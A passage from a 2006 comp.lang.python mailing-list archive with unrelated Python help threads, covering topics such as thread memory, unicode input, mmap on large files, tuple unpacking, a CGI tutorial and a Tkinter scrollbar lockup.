turn the variable is >> overritten with another page's code. At every moment the summary of >> values of the variables containig code is not more than 15Mb (I've just >> invented a tricky way to measure this). But during the first 30 minutes >> all the system memory (512Mb) is consumed and 'MemoryError's is arising. >> Why is it so and how can I limit the memory consumption in borders, say, >> 400Mb? Maybe there is a memory leak there? >> Thnx >> > How much stack space gets allocated for 150 threads? Actually I don't know. How can I get to know this? >> Q = Queue.Queue() >> for i in rez: #rez length - 5000 > > Can't be the "test code" as you don't show the imports or where > "rez" is defined. Isn't it clear that "rez" is just a list of 5000 urls? I cannot place it here, but believe me all of them are not big - "At every moment the summary of values of the variables containig code is not more than 15Mb" Regards From pydecker at gmail.com Wed Oct 4 20:31:21 2006 From: pydecker at gmail.com (Peter Decker) Date: Wed, 4 Oct 2006 20:31:21 -0400 Subject: Where is Python in the scheme of things? In-Reply-To: References: Message-ID: On 10/4/06, gord wrote: > As a complete novice in the study of Python, I am asking myself where this > language is superior or better suited than others. For example, all I see in > the tutorials are lots of examples of list processing, arithmetic > calculations - all in a DOS-like environment. > > What is particularly disappointing is the absence of a Windows IDE, > components and an event driven paradigm. How does Python stand relative to > the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these > programming packages are quite expensive now while Python is free (at least > for the package I am using - ActivePython). You might want to check out Dabo. It's a framework written by a couple of guys coming from the world of Microsoft dev tools, and they seem to be targeting their visual tools to that market. Their website is http://dabodev.com. I've been using Dabo for a while, both with and without the visual tools, and it's amazing stuff. -- # p.d. From bdesth.quelquechose at free.quelquepart.fr Tue Oct 3 17:55:46 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Tue, 03 Oct 2006 23:55:46 +0200 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> Message-ID: <4522d88b$0$12827$426a74cc@news.free.fr> LaundroMat a ?crit : > Suppose I have this function: > > def f(var=1): > return var*2 > > What value do I have to pass to f() if I want it to evaluate var to 1? > > I know that f() will return 2, but what if I absolutely want to pass a > value to f()? "None" doesn't seem to work.. Have you tried f(1) ? From srikrishnamohan at gmail.com Sun Oct 8 15:09:24 2006 From: srikrishnamohan at gmail.com (km) Date: Mon, 9 Oct 2006 00:39:24 +0530 Subject: references and buffer() In-Reply-To: References: Message-ID: Hi all, in the CPython implementation, it's the address where the object is > stored. but that's an implementation detail. ok so can i point a vairiable to an address location just as done in C language ? >>> y = 'ATGCATGC' >>> x = buffer(y) >>> del(y) >>> x >>> print x ATGCATGC now even when i delete y, why is that x still exists ? thats true even in the case of vairable assignment which states it a a reference ! >>> a = 10 >>> b = a >>> del(a) >>> b 10 i always thought if u modify the referred variable/buffer object it should be reflected in the referenced variables/buffers objects . am i wrong ? does it mean that references in python are not true references ? regards, KM -------------- next part -------------- An HTML attachment was scrubbed... URL: From gigs at hi.t-com.hr Thu Oct 19 05:51:34 2006 From: gigs at hi.t-com.hr (Gigs_) Date: Thu, 19 Oct 2006 11:51:34 +0200 Subject: characters in python In-Reply-To: <1161211582.976493.88330@i3g2000cwc.googlegroups.com> References: <1161211582.976493.88330@i3g2000cwc.googlegroups.com> Message-ID: Leo Kislov wrote: > > On Oct 18, 11:50 am, Stens wrote: >> Stens wrote: >>> Can python handle this characters: c,c,?,d,?? >>> If can how"I wanna to change some characters in text (in the file) to the >> characters at this address: >> >> http://rapidshare.de/files/37244252/Untitled-1_copy.png.html > > You need to use unicode, see any python unicode tutorial, for example > this one http://www.amk.ca/python/howto/unicode or any other you can > find with google. > > Your script can look like this: > > # -*- coding: PUT-HERE-ENCODING-OF-THIS-SCRIPT-FILE -*- > import codecs > outfile = codecs.open("your output file", "w", "encoding of the output > file"): > for line in codecs.open("your input file", "r", "encoding of the input > file"): > outfile.write(line.replace(u'd',u'd')) > thx Leo From sjmachin at lexicon.net Mon Oct 2 18:08:43 2006 From: sjmachin at lexicon.net (John Machin) Date: 2 Oct 2006 15:08:43 -0700 Subject: Need help with an array problem. In-Reply-To: <1159826153.470372.101200@e3g2000cwe.googlegroups.com> References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com> Message-ID: <1159826923.911685.30120@m73g2000cwd.googlegroups.com> SpreadTooThin wrote: > Basically I think the problem is in converting from a 32 bit integer to > a 16 bit integer. > > I have two arrays: > import array > > a = array.array('L', [65537]) > b = array.array('H', [0]) > > b[0] = a[0] > > Which gives an overflow message.... As it should. > So can't I truncate the long by discaring the upper bits .. > Like b[0] = 0x0000FFFF & a[0] Any reason why you don't you just try it? | >>> import array | >>> a = array.array('L', [65537]) | >>> b = array.array('H', [0]) | >>> a[0] | 65537L | >>> a[0] & 0xffff | 1L | >>> b[0] = a[0] & 0xffff | >>> b[0] | 1 | >>> From anthra.norell at vtxmail.ch Tue Oct 24 12:28:48 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Tue, 24 Oct 2006 18:28:48 +0200 Subject: can't open word document after string replacements In-Reply-To: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> Message-ID: <453E3F40.9010304@vtxmail.ch> Antoine De Groote wrote: > Hi there, > > I have a word document containing pictures and text. This documents > holds several 'ABCDEF' strings which serve as a placeholder for names. > Now I want to replace these occurences with names in a list (members). I > open both input and output file in binary mode and do the > transformation. However, I can't open the resulting file, Word just > telling that there was an error. Does anybody what I am doing wrong? > > Oh, and is this approach pythonic anyway? (I have a strong Java background.) > > Regards, > antoine > > > import os > > members = somelist > > os.chdir(somefolder) > > doc = file('ttt.doc', 'rb') > docout = file('ttt1.doc', 'wb') > > counter = 0 > > for line in doc: > while line.find('ABCDEF') > -1: > try: > line = line.replace('ABCDEF', members[counter], 1) > docout.write(line) > counter += 1 > except: > docout.write(line.replace('ABCDEF', '', 1)) > else: > docout.write(line) > > doc.close() > docout.close() > > DOC files contain housekeeping info which becomes inconsistent if you change text. Possibly you can exchange stuff of equal length but that wouldn't serve your purpose. RTF files let you do substitutions and they save a lot of space too. But I kind of doubt whether RTF files can contain pictures. Frederic From fredrik at pythonware.com Mon Oct 23 12:35:06 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 23 Oct 2006 18:35:06 +0200 Subject: sharing persisten cache between modules In-Reply-To: <1161620802.744818.16500@e3g2000cwe.googlegroups.com> References: <1161620802.744818.16500@e3g2000cwe.googlegroups.com> Message-ID: Bart Ogryczak wrote: > I?ve got a problem creating persistent cache, that would be shared > between modules. There a supermodule, which calls submodules. I?d like > submodules to use cache created in the supermodule. The only way I see > right now, is to pass it as function argument, but that would require a > change in API, which I?d prefer to avoid. Is this the only way? does "module" mean Python module? why not just put the cache management code in a module that's imported by any submodule that wants to use it ? From clodoaldo.pinto at gmail.com Wed Oct 4 16:52:52 2006 From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto) Date: Wed, 4 Oct 2006 17:52:52 -0300 Subject: CGI Tutorial In-Reply-To: <45241872.2020008@tim.thechases.com> References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> <1159990808.443737.85880@i3g2000cwc.googlegroups.com> <45241872.2020008@tim.thechases.com> Message-ID: 2006/10/4, Tim Chase : > >> I'm just building a Python CGI Tutorial and would appreciate any > >> feedback from the many experts in this list. > > > > http://webpython.codepoint.net > > > Thanks! :) > > My first note would be regarding > > http://webpython.codepoint.net/shell_commands > > The code is very dangerous...allowing any ol' schmoe to run > arbitrary code on your server. At the barest of minimums, I'd > plaster the code with warnings that this is a Very Dangerous > Thing(tm) to do. I though the danger was so obvious that i didn't bother. Now i have issued a warning. > Similarly, regarding > > http://webpython.codepoint.net/debugging > > you might want to caution that this will/can display potentially > sensitive information (passwords, internal file-structure, etc), > and thus should only be used while debugging, and turned off in > any sort of production code. Yes, another warning was issued. Thanks for your help. Clodoaldo Pinto Neto From paddy3118 at netscape.net Fri Oct 20 23:21:36 2006 From: paddy3118 at netscape.net (Paddy) Date: 20 Oct 2006 20:21:36 -0700 Subject: Rate my reply In-Reply-To: <1161399285.948294.212870@m73g2000cwd.googlegroups.com> References: <1161399285.948294.212870@m73g2000cwd.googlegroups.com> Message-ID: <1161400896.021188.108240@f16g2000cwb.googlegroups.com> Hi, In answering Johns question I had to approach it from a standpoint of originally not seeing that their could be a difficulty; railing myself in; then re-reading Johns question and trying even harder to put myself in his shoes. What I am interested in is if John and others might just take time out to critique the replies. I'm interested in what the group think makes a good comp.lang.python reply: too short, too long; too cryptic, too simplistic, too polite (is their such a thing), too nasty; too self-effacing, too self-promoting; too long a sig ;-) , too anonymous ... Paddy wrote: > John Salerno wrote: > > I'm a little confused, but I'm sure this is something trivial. I'm > > confused about why this works: > > > > >>> t = (('hello', 'goodbye'), > > ('more', 'less'), > > ('something', 'nothing'), > > ('good', 'bad')) > > >>> t > > (('hello', 'goodbye'), ('more', 'less'), ('something', 'nothing'), > > ('good', 'bad')) > > >>> for x in t: > > print x > > > > > > ('hello', 'goodbye') > > ('more', 'less') > > ('something', 'nothing') > > ('good', 'bad') > > >>> for x,y in t: > > print x,y > > > > > > hello goodbye > > more less > > something nothing > > good bad > > >>> > > > > I understand that t returns a single tuple that contains other tuples. > > Then 'for x in t' returns the nested tuples themselves. > > > > But what I don't understand is why you can use 'for x,y in t' when t > > really only returns one thing. I see that this works, but I can't quite > > conceptualize how. I thought 'for x,y in t' would only work if t > > returned a two-tuple, which it doesn't. > > > > Hi John, > > Thats the point were you go astray. > iterating over t *does* produce a 2-tuple that can be unpacked > immediately. > > maybe this will help, (notice that element is always one of the inner > tuples): > > >>> tpl = ((00,01), (10,11), (20,21)) > >>> for element in tpl: > ... print "tpl provides this when iterated over:", element > ... > tpl provides this when iterated over: (0, 1) > tpl provides this when iterated over: (10, 11) > tpl provides this when iterated over: (20, 21) > >>> for element in tpl: > ... print "tpl provides this when iterated over:", element > ... sub0, sub1 = element > ... print "each element unpacks to:", sub0,"and:", sub1 > ... > tpl provides this when iterated over: (0, 1) > each element unpacks to: 0 and: 1 > tpl provides this when iterated over: (10, 11) > each element unpacks to: 10 and: 11 > tpl provides this when iterated over: (20, 21) > each element unpacks to: 20 and: 21 > >>> for sub0, sub1 in tpl: > ... print "each element of tuple unpacked immediately to:", > sub0,"and:", sub1 > ... > each element of tuple unpacked immediately to: 0 and: 1 > each element of tuple unpacked immediately to: 10 and: 11 > each element of tuple unpacked immediately to: 20 and: 21 > >>> > > > - Paddy. From rasmussen.bryan at gmail.com Mon Oct 9 07:54:32 2006 From: rasmussen.bryan at gmail.com (bryan rasmussen) Date: Mon, 9 Oct 2006 13:54:32 +0200 Subject: intercepting keypresses, mouse movements, joystick movements. Message-ID: <3bb44c6e0610090454s57fb9e43u9e709d1b367530e8@mail.gmail.com> Hi, I've been looking at autohotkey to do some different usability hacks for windows http://www.autohotkey.com/ one of the benefits of this language is it allows one to catch keyboard usage, joystick usage, and mouse usage inputs very easily at a global level or at application levels by watching applications for events within the applications. I was wondering if there were any python libraries that provided similar functionality before I went ahead with the project though. Cheers, Bryan Rasmussen From rrr at ronadam.com Sat Oct 21 02:58:33 2006 From: rrr at ronadam.com (Ron Adam) Date: Sat, 21 Oct 2006 01:58:33 -0500 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: Steven D'Aprano wrote: > On Thu, 19 Oct 2006 20:07:27 -0400, Brad wrote: > >> Steven D'Aprano wrote: >> >>> Gah!!! That's *awful* in so many ways. >> Thanks... I'm used to hearing encouragement like that. After a while you >> begin to believe that everything you do will be awful, so why even >> bother trying? > > Well obviously I hit a sore point. I wrote a little hastily, and wasn't > quite as polite as I could have been -- but it is true, the function you > wrote isn't good: a seven line function with five problems with it. > > Your function was not at all Pythonic; but it isn't even good style for > any serious programming language I know of. I'm sorry if I came across as > abrasive, but I'm even sorrier that you can't take constructive criticism. > Some techniques are bad practice in any language. Steven, I think just took things a little out of context, and yes you were a bit overly harsh. But I've also read enough of your post to know you most likely did not mean any insult either. Brad's little reminder program was not meant to be actually used in a program as is of course, but was a small script for him to run so he could see what was happening visually. Yes, it could be improved on for that purpose too. But for what it's purpose is, does it really matter that much? It does what he meant it to do. Yes, a small dose of politeness, (tactfulness isn't quite the same as suger coating), always helps when pointing out where others can make improvements especially while they are still learning their way around. With that said, If it were me who wrote something that you really thought was bad, then blast away! ;) (without insulting me of course.) I'd probably take a second look and agree with you. But I've been programming python since version 2.3 and as a more experienced programmer will appreciate the honest feed back. [You said from an earlier post...] > (That's a complaint I have about the dis module -- it prints its results, > instead of returning them as a string. That makes it hard to capture the > output for further analysis.) I have a rewritten version of dis just sitting on my hard disk that fixes exactly that issue. It needs to be updated to take into account some newer 2.5 features and the tests will need to be updated so they retrieve dis's output instead of redirecting stdout. If you'd like to finish it up and submit it as a patch, I can forward it to you. It would be good to have a second set of eyes look at it also. Cheers, Ron From slawomir.nowaczyk.847 at student.lu.se Fri Oct 27 18:12:39 2006 From: slawomir.nowaczyk.847 at student.lu.se (Slawomir Nowaczyk) Date: Sat, 28 Oct 2006 00:12:39 +0200 Subject: question about True values In-Reply-To: <1161973508.972142.109500@i42g2000cwa.googlegroups.com> References: <1161973508.972142.109500@i42g2000cwa.googlegroups.com> Message-ID: <20061028000415.8709.SLAWOMIR.NOWACZYK.847@student.lu.se> On Fri, 27 Oct 2006 11:25:09 -0700 Carl Banks wrote: #> P.S. binary trees do have length: it's the number of nodes, just as #> the number of keys is the length of a dict. I can't think of any #> objects that use indexing but don't have a length, Well, infinite lists (either circular or dynamically-growing) would be one (unless you consider infinity to be a valid value of length, of course). Dictionaries with default value would be another (of course, Python 2.5 defaultdict *does* have length, but I would claim it is a wart). But I agree those are pathological cases. -- Best wishes, Slawomir Nowaczyk ( Slawomir.Nowaczyk at cs.lth.se ) Programmer - A red-eyed, mumbling mammal capable of conversing with inanimate objects. From paul at boddie.org.uk Sat Oct 14 11:43:51 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 14 Oct 2006 08:43:51 -0700 Subject: wing ide vs. komodo? References: <2nRXg.108$1n3.2866@news.tufts.edu> <18SXg.27347$Go3.9933@dukeread05> <1160778985.576091.39700@e3g2000cwe.googlegroups.com> Message-ID: <1160840631.453467.92410@k70g2000cwa.googlegroups.com> Heikki Toivonen wrote: > Paul Boddie wrote: > > hg wrote: > >> PS: I also was taken aback by the fact that the PyDev license was > >> "per-year" ... it's like buying Word for a year only ... isn't it ? > > > > Flashbacks to the age of shareware seem to be commonplace in the realm > > of Eclipse, or that's how the scene seems to me. > > You are confusing Pydev and Pydev Extensions. The former is free, the > latter costs money and has some advanced features. The Pydev maintainer > launched Pydev Extensions to get some extra cash and let him spend more > time on Pydev development. I think hg was confusing the two; I was merely making general remarks about the Eclipse scene, and in particular certain J2EE-related products which seem to add little value yet come with a price tag. Paul From scott.daniels at acm.org Thu Oct 5 17:30:38 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Thu, 05 Oct 2006 14:30:38 -0700 Subject: Graph Theory In-Reply-To: <1160079922.925712.55850@i42g2000cwa.googlegroups.com> References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com> <1160079341.752297.139110@h48g2000cwc.googlegroups.com> <1160079922.925712.55850@i42g2000cwa.googlegroups.com> Message-ID: <45257185$1@nntp0.pdx.net> diffuser78 at gmail.com wrote: > Are there any visualization tool which would depict the random graph > generated by the libraries. Google for DOT (.DOT format w/ renders to a variety of output formats). -- --Scott David Daniels scott.daniels at acm.org From rhymes at myself.com Sun Oct 15 10:56:59 2006 From: rhymes at myself.com (Lawrence Oluyede) Date: Sun, 15 Oct 2006 16:56:59 +0200 Subject: Where I can find References: <1160919699.354038.213920@k70g2000cwa.googlegroups.com> Message-ID: <1hn9dpq.77vjtv17nxbnxN%rhymes@myself.com> wrote: > Where I can find this files(modules): > > fcntl,FCNTL,tty,termios, TERMIOS import fcntl import tty import termios for start :-) -- Lawrence - http://www.oluyede.org/blog http://www.neropercaso.it "Nothing is more dangerous than an idea if it's the only one you have" - E. A. Chartier From mike.klaas at gmail.com Wed Oct 25 15:28:12 2006 From: mike.klaas at gmail.com (Klaas) Date: 25 Oct 2006 12:28:12 -0700 Subject: new-style classes, __hash__. is the documentation wrong? In-Reply-To: References: Message-ID: <1161804492.893768.270090@i42g2000cwa.googlegroups.com> gabor wrote: > ==== > If a class defines mutable objects and implements a __cmp__() or > __eq__() method, it should not implement __hash__(), since the > dictionary implementation requires that a key's hash value is immutable > (if the object's hash value changes, it will be in the wrong hash bucket). > ==== > now, with new style classes, the class will have __hash__, whatever i > do. (well, i assume i could play with __getattribute__...). There is a proposal to fix this, though I don't think we'll see it for a while. class CantHash(object): __hash__ = None > so is that part of the documentation currently wrong? yes > because from what i see (the bug will not be fixed), > it's still much safer to define a __hash__ even for mutable objects > (when the object also defines __eq__). Better is to define __hash__ in a way that prevents errors: class Mutable(object): def __hash__(self): raise TypeError('unhashable instance') It will behave similarly to an old-style class that defines __eq__ and not __hash__ -Mike From scott.daniels at acm.org Sun Oct 1 15:34:03 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Sun, 01 Oct 2006 12:34:03 -0700 Subject: windev vs python SOS In-Reply-To: References: Message-ID: <4520104f$1@nntp0.pdx.net> st?phane bard wrote: > hello, my boss ask me to prefer windev to python. > I have to argue > > - python work on multiple platform (linux, mac, windows) > A good point but it didn't interest him. Because > we want to choose a language for prototyping. > So multi platform is not enough. > > - python and windev are fast to develop > > - windev as a good IDE, python? boa-constructor is ok with wxpython > > - python is open source (that's not an argument for my boss, sorry > it's a boss ...) > > any idea for a strong argument ? Well, this seems to me like a "Is it faster to New York, or by train" kind of question. "WinDev" is not a language, Python is. "WinDev" is a tool which includes a language. At least make sure you are comparing similar things ("Python and the WinDev language" or "Komodo and WinDev" or "Idle and WinDev"). Note, I have never been successful with explaining this to any of my employers that didn't just trust me on these decisions. I have a nasty habit of saying things like: "'Visual Basic' is not a language; 'Visual Basic 5.0' is a language with a vague similarity to the language 'Visual Basic 6.0'." and: "SQL is not a language; it is (at best) a family of languages." While these statements do mean something to experienced programmers, they seem to contradict everything a power-point wielding IT executive who understands everything "from a 5000 foot point of view" knows to be true. I really wish I knew how to explain these things politically. --Scott David Daniels scott.daniels at acm.org From ironfroggy at gmail.com Wed Oct 4 03:31:15 2006 From: ironfroggy at gmail.com (Calvin Spealman) Date: Wed, 4 Oct 2006 03:31:15 -0400 Subject: Need help with syntax on inheritance. In-Reply-To: <1159927793.600354.150330@b28g2000cwb.googlegroups.com> References: <1159927793.600354.150330@b28g2000cwb.googlegroups.com> Message-ID: <76fd5acf0610040031t55921d18obdc1366b9e595819@mail.gmail.com> On 3 Oct 2006 19:09:53 -0700, SpreadTooThin wrote: > If you are deriving a new class from another class, > that you must (I assume) know the initializer of the other class. > > So in myClass > > import array > class myClass(arrary.array): > def __init__(self, now here I need to put array's constructor > parameters..., then mine): > array.array.__init__(self, typecode[, initializer]) > self.mine = mine > > So I'm confused... > array has a typecode parameter and an optional initiializer... > So could you help me with the class construction here please? If you need to take the same parameters as your super-class, and it includes optional positional parameters, then simply call with keywords to avoid the optional parameter: myClass(typecode, mine=something) It has less to do with defining the parameters than calling the function. From martin at v.loewis.de Tue Oct 24 13:29:57 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 19:29:57 +0200 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <1161649124.962144.127140@e3g2000cwe.googlegroups.com> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <453D4BC4.9080100@v.loewis.de> <1161649124.962144.127140@e3g2000cwe.googlegroups.com> Message-ID: <453E4D95.7080204@v.loewis.de> sturlamolden schrieb: > Martin v. L?wis wrote: > >> What architecture are you on? On a 32-bit architecture, it's likely >> impossible to map in 2GiB, anyway (since it likely won't fit into >> the available address space). > > Indeed. But why does Python's memory mapping need to be flushed? It doesn't need to, why do you think it does? > And why doesn't Python's mmap take an offset argument to handle large > files? I don't know exactly; the most likely reason is that nobody has contributed code to make it support that. That's, in turn, probably because nobody had the problem yet, or nobody of those who did cared enough to implement and contribute a patch. > Is Python actually memory mapping with mmap or just faking it > with fseek? Read the source, Luke. It uses mmap or MapViewOfFile, depending on the platform. Regards, Martin From gagsl-py at yahoo.com.ar Thu Oct 19 15:34:12 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 19 Oct 2006 16:34:12 -0300 Subject: Calling a definition In-Reply-To: <1161283383.663046.234850@k70g2000cwa.googlegroups.com> References: <1161283383.663046.234850@k70g2000cwa.googlegroups.com> Message-ID: <7.0.1.0.0.20061019163016.05a860a8@yahoo.com.ar> At Thursday 19/10/2006 15:43, elake wrote: >I have a piece of code that I need some help with. It is supposed (in >my mind at least) take two arguments, a start path and a file >extension. Then when called it should return each of the file paths >that are found matching the criteria. It is only returning the first >file that it finds. What am I doing wrong? Someone else has shown how to make your code work. But notice that you don't even need the findFileExt function: see the glob module. -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From nicolasg at gmail.com Tue Oct 3 04:46:18 2006 From: nicolasg at gmail.com (NicolasG) Date: 3 Oct 2006 01:46:18 -0700 Subject: I need Cryptogrphy in Python please . In-Reply-To: <1159863191.600082.78980@c28g2000cwb.googlegroups.com> References: <1159862169.318561.314620@k70g2000cwa.googlegroups.com> <1159863191.600082.78980@c28g2000cwb.googlegroups.com> Message-ID: <1159865178.605751.151280@i42g2000cwa.googlegroups.com> I have made a site using Karrigell as a web server and I want to provide cryptography services to the visitors. They should wirte their text on the site and be able choose different encryption algorithms to apply on the text . MonkeeSage wrote: > NicolasG wrote: > > I have installed .NET framework latest release. > > The SDK is different from the framework. ;) How can I fix this ? > > > Can some one guide me how to fix the problem above or point me to > > another Cyrptography library that I can use easily ? > > Prebuilt binaries: > http://www.voidspace.org.uk/python/modules.shtml#pycrypto I need the modules source to use it with my web server. > Ps. The project still looks active to me, and has an active mailing > list: > http://www.amk.ca/python/code/crypto.html The last messages in the mailing list was on august (only one message) and the author does said that he does not reply to the this list , he point if anyone have an issue to use the bug trucker at sourceforge which looks not helpful ... cheers.. > Jordan From klachemin at comcast.net Fri Oct 20 19:08:27 2006 From: klachemin at comcast.net (Kamilche) Date: 20 Oct 2006 16:08:27 -0700 Subject: Detect Unused Modules Message-ID: <1161385707.141179.174310@b28g2000cwb.googlegroups.com> ''' DetectUnusedModules.py - Detect modules that were imported but not used in a file. When run directly, this class will check all files in the current directory. ''' import os import tokenize class PrintUnusedModules(object): state = 0 importlist = None linenumbers = None def __init__(self, filename): self.filename = filename self.importlist = {} self.linenumbers = {} fd = open(filename, 'rU') tokenize.tokenize(fd.readline, self.FindImports) fd = open(filename, 'rU') tokenize.tokenize(fd.readline, self.FindReferences) for mod, ctr in self.importlist.items(): if ctr == 0: print ' File "%s", line %d, "%s" is imported but not referenced.' % (self.filename, self.linenumbers[mod], mod) def FindImports(self, toktype, tokval, tokstart, tokend, tokline): ' Build a list of modules this module imports' if self.state == 0: if toktype == tokenize.NAME: if tokval == 'import': self.state = 1 self.mods = [] elif self.state == 1: if toktype == tokenize.NAME: if tokval == 'import': pass elif tokval == 'as': del self.mods[-1] else: self.mods.append((tokval, tokstart[0])) elif toktype == tokenize.OP: pass elif toktype == tokenize.NEWLINE: for mod, linenum in self.mods: self.importlist[mod] = 0 self.linenumbers[mod] = linenum self.state = 0 def FindReferences(self, toktype, tokval, tokstart, tokend, tokline): ' Find all references to the imported modules' if self.state == 0: if toktype == tokenize.NAME: if tokval == 'import': self.state = 1 elif tokval in self.importlist: self.importlist[tokval] += 1 elif self.state == 1: if toktype == tokenize.NEWLINE: self.state = 0 def ProcessDir(pathname = None): if pathname == None: pathname = os.getcwd() else: pathname = os.path.abspath(pathname) for shortname in os.listdir(pathname): filename = os.path.join(pathname, shortname) if filename[-3:] == '.py': print 'Checking %s...' % filename PrintUnusedModules(filename) def main(): print 'Unused Module List' ProcessDir() print 'Done!' if __name__ == '__main__': main() From duncan.booth at invalid.invalid Tue Oct 10 03:45:01 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 10 Oct 2006 07:45:01 GMT Subject: does raw_input() return unicode? References: <12iln7en9ipit77@corp.supernews.com> Message-ID: "Stuart McGraw" wrote: > So, does raw_input() ever return unicode objects and if > so, under what conditions? > It returns unicode if reading from sys.stdin returns unicode. Unfortunately, I can't tell you how to make sys.stdin return unicode for use with raw_input. I tried what I thought should work and as you can see it messed up the buffering on stdin. Does anyone else know how to wrap sys.stdin so it returns unicode but is still unbuffered? Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import sys, codecs >>> sys.stdin.encoding 'cp437' >>> sys.stdin = codecs.getreader(sys.stdin.encoding)(sys.stdin) >>> raw_input() hello world still going? ^Z ^Z u'hello world' >>> From jcd at sdf.lonestar.org Fri Oct 27 19:17:42 2006 From: jcd at sdf.lonestar.org (J. Clifford Dyer) Date: Fri, 27 Oct 2006 17:17:42 -0600 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: I do see how mapping to Truth/Falsehood is more natural, and I do believe that one of the great things about python is that it feels natural in so many ways, and hence makes it easy to produce code, but the one thing that Ms. Creighton points out that I can't get past is that Python, even with its bool type, *still* evaluates somethingness and nothingness, and True and False are just numbers with hats on. >>> True + 3 4 >>> bool(True-1) False >>> bool(True-2) True >>> (10 > 5) + (10 < 5) 1 So when you say >>>if 10 > 5: ... print "Yes!" Python is not evaluating the truth of the matter, but, as Ms. Creighton would say, the "somethingness" of that which 10 > 5 evaluates to. (1 aka True) Furthermore, how do you explain this bizarreness in terms of "Truth" and "Falsehood?" You have to go back to the fact that True=1 and that REALLY, Python is dealing with somethingness and nothingness. It might not be as direct a mental connection as True/False, but it is certainly a more accurate one for understanding how Python works. >>> (1 > 0) < 1 False >>> 1 > 0 < 1 True >>> 1 > (0 < 1) False >>> 10 > (0 < 1) True Finally, while True/False is a good mental mapping for numeric comparisons, take the following: >>> if "Cliff is a pillar of the open source community": ... print "thank you" ... else: ... print "bugger off" bugger off Clearly this is not true. (Google Cliff/Dyer open source: only 11 hits.), but the string is *something* so the if block gets evaluated. Cheers, Cliff From __peter__ at web.de Mon Oct 2 11:14:35 2006 From: __peter__ at web.de (Peter Otten) Date: Mon, 02 Oct 2006 17:14:35 +0200 Subject: How can I make a class that can be converted into an int? References: Message-ID: Matthew Wilson wrote: > What are the internal methods that I need to define on any class so that > this code can work? > > c = C("three") > > i = int(c) # i is 3 > > I can handle the part of mapping "three" to 3, but I don't know what > internal method is called when int(c) happens. >>> class C(object): ... def __int__(self): return 42 ... >>> int(C()) 42 > For string conversion, I just define the __str__ method. What's the > equivalent for int? For float, too, while I'm at it? http://docs.python.org/ref/numeric-types.html Peter From inq1ltd at verizon.net Sun Oct 29 11:48:57 2006 From: inq1ltd at verizon.net (jim-on-linux) Date: Sun, 29 Oct 2006 11:48:57 -0500 Subject: Computer locks up when running valid stand alone Tkinter file. In-Reply-To: <1161831949.926000.65680@e3g2000cwe.googlegroups.com> References: <1161831949.926000.65680@e3g2000cwe.googlegroups.com> Message-ID: <200610291148.57691.inq1ltd@verizon.net> Thanks for responding, For those who care. The solution to the problem was; First, I did not give a parent to the Yview scrollbar. Next, I used the pack geometry for this class and everything else is grid geometry. When run stand alone it ran fine because the Yview scrollbar attached itself to the default parent, but when run from another module, it locked up. The difficulty is really in the fact that scrollbar Yview without a parent tried to attach itself to the root Tk, already built and running with grid geometry. Pack and grid in the same Frame don't get along (computer lockup). Give Yview a parent, problem solved. Changed pack to grid anyway. jim-on-linux http://www.inqvista.com On Wednesday 25 October 2006 23:05, you wrote: > > But, when I call it from another module it > > locks > > methinks this "other module" has the answer. > > jim-on-linux wrote: > > py help, > > > > The file below will run as a stand alone > > file. It works fine as it is. > > > > But, when I call it from another module it > > locks my computer, The off switch is the only > > salvation. > > > > This module when run as a stand alone, it > > will open a jpeg image and add a vertical and > > horizontal scrollbar to the canvass. That's > > all it does. > > > > Replace the img9.jpg file with one of your > > own, put the image in the current working > > dir., and run. > > > > If you think you can help, I would appreciate > > it. > > > > > > jim-on-linux > > > > > > > > > > > > ############################################ > > > > #!/usr/bin/env python > > > > """ > > ############################################# > > import Tkinter as Tk > > > > Do not do > > ( from Tkinter import * ) > > because of name space conflict with > > Image.open > > > > ############################################# > ># > > > > #### below imports Image and ImageTk are > > from #### Imaging-1.1.5, PIL in Python > > > > """ > > > > > > import Image > > import ImageTk > > import Tkinter as Tk > > import os > > > > vpath = os.getcwd()+os.sep+'img9.jpg' > > > > > > > > class Kshow_0 : > > > > def __init__(self ) : > > self.Fimgshow0() > > > > def Fimgshow0(self ) : > > window = Tk.Tk() # used for stamd > > alone > > > > # window = Tk.Toplevel() > > # Above Toplevel call used when > > running # from another file > > > > > > > > window.title(' Image Location '+vpath > > ) window.protocol('WM_DELETE_WINDOW', > > window.destroy) > > > > vcanvas = Tk.Canvas(window, width = > > 375, height=375, borderwidth = 1, bg= > > 'white') > > > > sbarY=Tk.Scrollbar() > 